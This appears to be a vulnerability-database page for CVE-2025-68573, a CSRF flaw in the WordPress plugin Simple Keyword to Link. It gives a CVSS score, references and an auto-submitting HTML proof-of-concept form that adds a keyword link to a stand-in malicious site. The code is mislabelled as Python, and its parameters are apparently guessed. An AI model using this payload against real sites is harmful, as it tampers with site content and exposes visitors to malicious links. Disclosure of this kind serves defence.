CVE-2025-68573

Description

Cross-Site Request Forgery (CSRF) vulnerability in Alessandro Piconi Simple Keyword to Link simple-keyword-to-link allows Cross Site Request Forgery.This issue affects Simple Keyword to Link: from n/a through <= 1.5.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Simple Keyword to Link <= 1.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-68573 - Simple Keyword to Link Plugin -->
<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack PoC - CVE-2025-68573</title>
</head>
<body>
    <h1>CSRF PoC for Simple Keyword to Link Plugin</h1>
    <p>This PoC demonstrates the CSRF vulnerability in Simple Keyword to Link <= 1.5</p>
    
    <!-- Form to add malicious keyword link -->
    <form action="http://target-wordpress-site/wp-admin/admin-post.php" method="POST" id="csrfForm">
        <input type="hidden" name="action" value="add_keyword">
        <input type="hidden" name="keyword" value="free">
        <input type="hidden" name="url" value="https://malicious-site.com">
        <input type="hidden" name="target" value="_blank">
        <!-- Additional plugin-specific parameters may be required -->
    </form>

    <script>
        // Auto-submit form when page loads
        document.getElementById('csrfForm').submit();
        console.log('CSRF request sent');
    </script>
    
    <p>If successful, the keyword 'free' will be linked to malicious-site.com</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-68573
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-68573
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-68573/
[4] VulDB https://vuldb.com/cve/CVE-2025-68573
[5] https://patchstack.com/database/Wordpress/Plugin/simple-keyword-to-link/vulnerability/wordpress-simple-keyword-to-link-plugin-1-5-cross-site-request-forgery-csrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

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